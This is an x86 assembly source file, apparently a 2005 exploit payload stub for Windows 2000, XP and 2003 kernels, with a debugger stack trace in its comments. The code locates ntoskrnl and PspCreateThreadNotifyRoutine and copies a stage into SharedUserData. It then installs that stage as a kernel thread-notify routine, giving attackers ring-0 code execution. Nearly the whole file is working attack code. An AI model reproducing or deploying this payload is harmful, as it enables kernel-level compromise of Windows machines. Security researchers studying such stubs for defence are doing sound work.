bits 32

;
; 11/2005
;
; This stub implements the following algorithm:
;
; - Find the base address of ntoskrnl.exe
; - Find PspCreateThreadNotifyRoutine
;   - Via PsRemoveCreateThreadNotifyRoutine (XP, 2003)
;   - Via PsSetCreateThreadNotifyRoutine    (2000)
; - Copy code to 0xffdffd70
; - Install notify routine directly
; - Perform safe cleanup
;
; kd> kv
; ChildEBP RetAddr  Args to Child              
; WARNING: Frame IP not in any known module. Following frames may be wrong.
; fa952c58 805d96ca 0000025c 00000270 00000000 0xffdffd70
; fa952d08 8056bf03 00000000 808db580 00000000 nt!PspExitThread+0xc6 (FPO: [Non-Fpo])
; fa952d28 8056c7bd 808db580 00000000 fa952d64 nt!PspTerminateThreadByPointer+0x50 (FPO: [Non-Fpo])
; fa952d54 804d4e91 00000000 00000000 00000000 nt!NtTerminateProcess+0x116 (FPO: [Non-Fpo])
; fa952d54 7ffe0304 00000000 00000000 00000000 nt!KiSystemService+0xc4 (FPO: [0,0] TrapFrame @ fa952d64)
; 0006fda8 77f7f3cf 77e75ca4 ffffffff 00000000 SharedUserData!SystemCallStub+0x4 (FPO: [0,0,0])
; 0006fdac 77e75ca4 ffffffff 00000000 77c4299a ntdll!ZwTerminateProcess+0xc (FPO: [2,0,0])
; 0006fea4 77e75cc6 00000000 77e8f3b0 ffffffff kernel32!_ExitProcess+0x57 (FPO: [Non-Fpo])
; 0006feb8 77c379c8 00000000 77c37ad9 00000000 kernel32!ExitProcess+0x11 (FPO: [Non-Fpo])
; 0006fec0 77c37ad9 00000000 77e79c3d 77c37aea msvcrt!__crtExitProcess+0x2f (FPO: [1,0,0])
; 0006fecc 77c37aea 00000000 00000000 00000000 msvcrt!_cinit+0xe4 (FPO: [2,0,1])
; 0006fedc 01004b36 00000000 0100e478 00000000 msvcrt!exit+0xe (FPO: [1,0,1])
; 0006fee4 0100e478 00000000 000001be 00000000 net1!MyExit+0xf (FPO: [1,0,0])
; 0006ff18 01004b20 00000000 00000000 02100248 net1!NetcmdExit+0x6f (FPO: [Non-Fpo])
; 0006ff44 0100e0b1 00000000 00000000 002629a0 net1!main+0x266 (FPO: [Non-Fpo])
; 0006ffc0 77e7eb69 03010302 02100248 7ffdf000 net1!mainCRTStartup+0x125 (FPO: [Non-Fpo])
; 0006fff0 00000000 0100df8c 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
;
; on 2k, the count sym is too far away/unpredictable, but it's safe to call outside of
; passive level
;

entry:
	cld
	mov  eax, [0xffdff12c]

find_nt:
	dec  eax
	xor  ax, ax
	cmp  word [eax], 0x5a4d
	jnz  find_nt
	xchg eax, ebp

check_os:
	mov  edi, 0xffdf0270
	cmp  byte [edi], 0x1
	rol  di, 1
	push edi
	jnz  win2k

winxp:
	mov  eax, edi
	add  eax, byte 0x8
	stosd
	stosd
	push edi
	push byte 0x6  ; offset inside sym
	push byte 0x13 ; offset of string to compare
	jmp  short resolve_syms

win2k:
	push edi
	push byte -0x7f ; signed means we call
	push byte 0x10 ; offset of string to compare

resolve_syms:
	pop  edx
	xor  ecx, ecx
	mov  edi, [ebp + 0x3c]
	mov  edi, [ebp + edi + 0x78]
	add  edi, ebp
	mov  esi, [edi + 0x20]
	add  esi, ebp

find_sym:
	lodsd
	inc  ecx
	add  eax, ebp
	cmp  dword [eax+edx], 0x746f4e64 ; dNot
	jnz  find_sym

get_sym_address:
	dec  ecx
	mov  ebx, [edi + 0x24]
	add  ebx, ebp
	mov  cx, [ebx + ecx * 2]
	mov  ebx, [edi + 0x1c]
	add  ebx, ebp
	mov  eax, [ebx + ecx * 4]
	add  eax, ebp

found_sym:
	pop  ecx
	test ecx, ecx
	mov  ebx, dword [eax + ecx]
	jmp  short get_stage_address

copy_payload:
	pop  esi
	pop  edi
	push byte 0x1
	pop  ecx
	rep  movsd

install_notify_routine:
	js   short call_sym
	pop  edi
	mov  dword [ebx], edi
	inc  dword [ebx+0x20]
	jmp  short done

call_sym:
	call eax

done:
	ret

get_stage_address:
	call copy_payload
ring0_stage:
	int3
	retn 0x8
